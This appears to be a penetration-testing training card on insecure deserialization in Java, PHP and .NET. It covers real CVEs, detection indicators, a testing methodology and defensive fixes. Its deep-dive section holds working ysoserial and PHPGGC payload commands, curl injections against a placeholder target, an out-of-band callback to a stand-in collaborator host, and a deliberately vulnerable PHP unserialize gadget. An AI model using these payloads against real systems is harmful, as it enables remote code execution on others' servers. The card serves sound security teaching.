Insecure deserialization (generic)
Theory
Why This Matters
Insecure deserialization entered the OWASP Top 10 in 2017 (A8) and was consolidated into "Software and Data Integrity Failures" in 2021. Its practical impact has been severe: CVE-2015-4852 allowed unauthenticated RCE in Oracle WebLogic via Java serialized objects in the T3 protocol; CVE-2017-10271 exploited the same class of flaw in WebLogic's WLS-WSAT component and was used in Monero mining campaigns at scale. Apache Struts (CVE-2017-5638), Jenkins (CVE-2016-0792), and JBoss (CVE-2017-7504) all suffered critical RCE via gadget chain deserialization. The unifying pattern: a trusted channel accepted serialized object data, and the JVM (or runtime) reconstructed an object graph whose side effects during construction triggered OS command execution.
Core Concept
Deserialization is the process of converting a byte stream back into an in-memory object graph. In Java, ObjectInputStream.readObject() performs this transformation; in PHP, unserialize() does the same; in .NET, BinaryFormatter.Deserialize() and XmlSerializer.Deserialize() both apply. The fundamental security property of these mechanisms is that they instantiate arbitrary classes found on the classpath/codebase, calling constructors and lifecycle callbacks — not just the class the developer intended to receive.
A gadget chain is a sequence of pre-existing classes, each of whose constructor, readObject(), __wakeup(), or __destruct() method invokes the next class in the sequence. The chain terminates at a "sink" — a method that performs a dangerous operation (OS command execution, JNDI lookup, file write, network connection). The attacker does not inject new code; they compose existing classes into a sequence whose combined effect is code execution.
Attack preconditions: (1) the application deserializes data supplied by the attacker (directly or indirectly), (2) the classpath contains at least one known gadget chain (e.g., CommonsCollections1 requires Apache Commons Collections 3.x or 4.x on the classpath), (3) no cryptographic signature verification is performed on the serialized bytes before deserialization.
Detection indicators:
- Java: Content-Type: application/x-java-serialized-object; response body or cookie starting with hex ACED0005 (the Java serialization magic bytes); base64 rO0AB prefix.
- PHP: O: prefix in cookies, form fields, or URL parameters (serialized object notation).
- .NET: SOAP envelope or binary blob in __VIEWSTATE parameter without a MAC key.
ysoserial (Java) and ysoserial.net (.NET) are the standard tools for generating gadget-chain payloads. marshalsec handles Java JNDI-based chains. PHPGGC (PHP Generic Gadget Chains) generates PHP unserialize payloads for common frameworks.
Technical Deep-Dive
# ── Java deserialization exploitation with ysoserial ──────────────────────
# Step 1: Confirm Java serialization magic bytes in traffic
# Look for hex ACED0005 in request/response bodies or base64 rO0AB in cookies
echo "rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0..." | base64 -d | xxd | head -2
# 00000000: aced 0005 ... ← Java serialization header
# Step 2: Generate a payload using ysoserial
# Target chain: CommonsCollections6 (works with CC 3.x or 4.x, no Java version constraint)
java -jar ysoserial.jar CommonsCollections6 "id > /tmp/rce_proof" > payload.ser
# Step 3: Base64-encode for cookie or parameter injection
base64 -w0 payload.ser > payload.b64
# Step 4: Send payload in the vulnerable parameter
curl -s -X POST https://target.example.com/api/session
-H "Content-Type: application/x-java-serialized-object"
--data-binary @payload.ser
# Or inject into a cookie:
curl -s https://target.example.com/dashboard
-H "Cookie: session=$(cat payload.b64)"
# Step 5: Verify OOB execution via collaborator (preferred for blind RCE)
java -jar ysoserial.jar CommonsCollections6
"curl http://YOUR.burpcollab.net/rce_proof" > payload_oob.ser
# ── Available ysoserial chains (partial list) ──────────────────────────────
# CommonsCollections1-7: Apache Commons Collections (various versions)
# Spring1, Spring2: Spring Framework
# Groovy1: Groovy runtime
# URLDNS: DNS lookup only — safe for detection, no code exec
# JRMPClient: Remote class loading via JNDI
# ── PHP deserialization with PHPGGC ───────────────────────────────────────
# List available gadget chains for Laravel
php phpggc --list | grep -i laravel
# Generate payload for Laravel/RCE1 chain
php phpggc Laravel/RCE1 system id | base64
# Inject the base64 output into any parameter that is passed to unserialize()
<?php
// Vulnerable PHP pattern — direct unserialize of user input
$data = base64_decode($_COOKIE['user_prefs']);
$obj = unserialize($data); // VULNERABLE
// Gadget sink example (simplified): class with dangerous __wakeup
class FileLogger {
public $logFile = "/var/log/app.log";
public $command;
public function __wakeup() {
// Side effect triggered by unserialize()
file_put_contents($this->logFile, shell_exec($this->command));
}
}
// Attacker serializes: O:10:"FileLogger":2:{s:7:"logFile";s:9:"/tmp/x.sh";s:7:"command";s:2:"id";}
?>
Security Assessment Methodology
- Identify deserialization entry points — Inspect all cookies, POST body parameters, and response body values for serialization magic bytes:
ACED0005(Java hex),rO0AB(Java base64),O:(PHP),0x0001(SOAP/.NET). Use Burp's "Hackvertor" or "Java Deserialization Scanner" extension to automate detection. - Fingerprint the classpath / framework — Check HTTP response headers (
X-Powered-By,Server), error messages, and dependency manifests (pom.xml,WEB-INF/lib/) to identify which libraries are on the classpath. Match against ysoserial chain requirements. - Start with URLDNS for safe confirmation —
java -jar ysoserial.jar URLDNS "http://YOUR.burpcollab.net"generates a payload that triggers a DNS lookup on deserialization — no code execution, safe for all engagement types. Confirm deserialization occurs before escalating. - Escalate with a command-execution chain — Select the appropriate chain based on the fingerprinted classpath. Prefer out-of-band (OOB) command execution (
curl,nslookup) to avoid blind guessing. - Verify RCE — Confirm OOB callback in Burp Collaborator or Interactsh. Then attempt in-band evidence: write a file to
/tmp/, read/etc/hostname, etc. - Document chain, version, and impact — Record the gadget chain name, required library, Java/runtime version, and the CVSS score. Attach the ysoserial command used as proof-of-concept reproducibility evidence.
Defensive Countermeasure — The only complete fix is to avoid deserializing untrusted data entirely. Replace Java serialization with JSON (Jackson with type restrictions) or Protocol Buffers. If serialization is unavoidable, implement an
ObjectInputFilter(Java 9+) allowlist restricted to the exact expected class(es). Cryptographically sign serialized blobs (HMAC-SHA256) and verify the signature before deserialization. Deploy a Java agent (e.g., NotSoSerial) to block gadget chain execution at the JVM level as a defense-in-depth measure.
Common Assessment Errors
- Sending a payload without confirming deserialization occurs — Always use URLDNS first. Sending a CommonsCollections payload to an endpoint that does not deserialize is wasted effort and generates noise.
- Wrong chain for the classpath — CommonsCollections1 requires Java < 8u71 due to
InvokerTransformerrestrictions applied in later JDK versions. CommonsCollections6 has no such restriction. Match the chain to the environment. - Forgetting that base64 encoding may be required — Some endpoints expect raw bytes; others expect URL-encoded or base64-encoded payloads. Observe the encoding of the original serialized value and match it.
- Missing non-Java deserialization — PHP
unserialize(), Pythonpickle.loads(), .NETBinaryFormatter, and RubyMarshal.load()all have analogous vulnerabilities. Do not limit the search to Java. - Treating a 500 error as confirmation — A 500 error after sending a payload may indicate a class not found (chain mismatch), not successful deserialization. Always use OOB confirmation.
- Skipping the __VIEWSTATE check on .NET —
__VIEWSTATEwithout aMachineKeyis directly exploitable via ysoserial.net. Always test ViewState parameters on ASP.NET applications.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Explains gadget chain mechanics and how pre-existing classes become exploit primitives |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Maps deserialization to real CVEs across Java, PHP, and .NET ecosystems |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains magic byte detection and chain selection methodology |
| S0044 | Skill in mimicking threat behaviors to test defenses | Develops hands-on proficiency with ysoserial, PHPGGC, and OOB confirmation |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides a safe-first (URLDNS) then escalate procedure for deserialization testing |
| T0591 | Perform penetration testing as required for new or updated applications | Frames deserialization testing as a required check for Java/.NET applications |
Further Reading
- Frohoff, C. & Lawrence, G. (2015). Marshalling Pickles — AppSecCali Conference Talk
- OWASP Deserialization Cheat Sheet — OWASP Foundation
- ysoserial GitHub Repository — frohoff (offline reference)
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.